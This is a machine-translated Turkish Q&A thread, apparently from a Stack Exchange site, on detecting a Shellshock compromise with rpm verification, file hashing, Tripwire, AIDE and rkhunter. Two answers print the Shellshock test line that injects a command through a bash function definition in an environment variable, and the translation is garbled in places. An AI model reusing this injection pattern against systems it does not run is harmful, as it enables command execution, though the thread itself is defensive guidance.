Bir süre sonra genellikle sunucumuzu o kadar ziyaret etmeyen Çin gibi çeşitli yerlerden gelen ssh bağlantılarını fark ettim. Acil önlem olarak bash'i yamaladım (sadece OLD kaynakları ve yama dosyaları değil, FSF Web sitesinden yamalı kaynaklara sahip olmak güzel olurdu). şimdi silin, bu yüzden herhangi biri saldırı hakkında başka bir şey arıyorsa, sorabilirsiniz, ancak yakında yapın.


3

Bu cevap özellikle Shellshock ile ilgili değildir, ancak herhangi bir sistem için güvenliği ihlal edildiğini düşünebilirsiniz

ikinci not: güvenliği ihlal edilmiş bir kök sistemden kurtardığınızdan emin olamazsınız. Tek eyleminiz sistemi yok etmek ve yeniden tedarik etmektir

Temiz bir statik derleme rpmve çalıştırma komutu almaya çalışın rpm --verify --all. Bir pakete ait olan dosyaların değiştirildiğini size söyleyecektir. Ancak, güvenliği ihlal edilmiş bir sistemde çalıştırabileceğiniz için, sonuca tamamen güvenmeyebilirsiniz. Ardından rpm -qa, paketlerin listesini almak, aynı paket sürümleriyle başka bir sistemi yeniden oluşturmak ve ardından find / -type f |xargs -r -n 100 md5sum |sorther iki sistemde de bir tane yapmak ve neyin farklı olduğunu görmek için sadece bir. Ayrıca sisteminizi düzgün bir şekilde yönetiyorsanız (/ opt veya / usr / local / bin veya başka bir yönetilmeyen yer dışında elle herhangi bir şey yüklememeniz), sisteminizdeki bir pakete ait olmayan tüm dosyaları ile arayabilirsiniz find / -type f -exec rpm -qf {} \;. Bilinmeyen dosyalar için hatalar göstermelidir. Pozitifleri bir egzersiz olarak göstermemize izin verdim ;-)

Aynı şeyi kriptografik kanıtla periyodik olarak yapmak için Tripwire, hala ücretsiz sürüm olarak bulabileceğiniz bir araç vardır . Eski ama işini yapıyor. Daha yeni bir alternatif AIDE, ama yıllar önce baktığımda kripto kullanmıyordu.

Yardımcı olabilecek bazı araçlar var. Örneğin paketi arayın rkhunter. Bilgisayarınızı bilinen kök araç takımları ve yararlanan dosyalar için tarar.

Açıkçası bu araçlar, sistem tehlikeye atılmadan önce kurulmuş ve yapılandırılmış olmalıdır ve sisteminiz kök erişimine başarıyla saldırıya uğramışsa bu araçlar da hedeflenebilir. Ayrıca, bu araçlar çok yoğun olabilir ve sisteminizi yavaşlatabilir.


2

Sunucunuzun güvenliğinin aşılıp aşılmadığını öğrenmenin tek yolu, dosyalarınızın imzası olan bir yere sahip olmak ve mevcut dosyalarınızı onunla karşılaştırmaktır. Yine de savunmasız olup olmadığınızı görebilirsiniz.

  1. yapamazsın. Makinenizin gerçekten tehlikeye atıldığını, normal izleme araçlarınızın (ps, top, lsof, ...), çıktıları normal görünen, şüpheli etkinliği gizleyen benzer araçlarla değiştirildiğini varsaymak mantıklıdır.
  2. Hayır. yürütülebilir dosyaları olan herhangi bir klasörde olabilir.
  3. olağan izleme araçları da dahil olmak üzere yürütülebilir dosyalar veya komut dosyaları (ELF ikili dosyası, .shell komut dosyası, ...)

-3

Linux kutunuzun tehlikeye girip girmediğini bulma.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Eğer geri dönerse

vulnerable
this is a test

sen.

Güncellemeyi çalıştırmak için root altında aşağıdaki komutu çalıştırın

sudo yum update bash

16
-1 Bu kontrol, gerçekten tehlikeye atıldığında değil, bashın savunmasız olup olmadığını kontrol eder.
Calimo

1
Ayrıca, yumbaşka bir paket yöneticisi değil de çalıştığınızı varsayar .
DavidG

-3

Aşağıdaki komutları (CSA tarafından sağlanan kod) çalıştırarak savunmasız olup olmadığınızı kontrol edebilirsiniz. Bir terminal penceresi açın ve $ komut istemine aşağıdaki komutu girin:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Eğer bash güncel değilse, yazdırır:

vulnerable
this is a test

Bash'iniz güncelse, sadece şunu görürsünüz:

this is a test

Bu bağlantının arkasında daha fazla ayrıntı bulabilirsiniz .


1
Sorusu hakkında bir sunucu olduğu tespit edilmiştir tehlikeye öyle değil, savunmasız
Gareth

lütfen soruyu yanıtlamadığı için puanı düşük olan bir yanıta çok benzer bir yanıt göndermeden önce diğer yanıtları okumayı düşünün.
Manu H
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.